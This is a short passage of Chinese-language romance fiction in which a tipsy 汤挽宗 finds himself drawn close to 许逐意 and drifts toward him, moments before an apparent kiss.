男人的脸近在咫尺,微醺让他白净的面庞泛起薄薄的红晕,凑这么近,汤挽宗微微撑起身子,想推开,把距离拉远一点,好让理智回笼。手却又不听指挥地往反方向使劲,头好晕,他不知不觉感觉到身子又一沉——是许逐意被拉着摔过来。 “怎么了?”但被拉的人似乎丝毫没觉得有什么不对,满心还是在担心故意拉倒他的坏人,也忘记两人此刻距离太近。 汤挽宗能感觉到许逐意呼吸喷在自己下巴,麻麻的,他想说“你为什么不推开我”。 为什么任我牵起手,又,为什么脸红。 唇瓣微张,他试图说话,但垂下眼,落下视线,脑袋就好像不听使唤地也跟着沉下去了。 模糊不清的视线里、混乱不堪的脑海里,汤挽宗只知道自己离许逐意越来越近。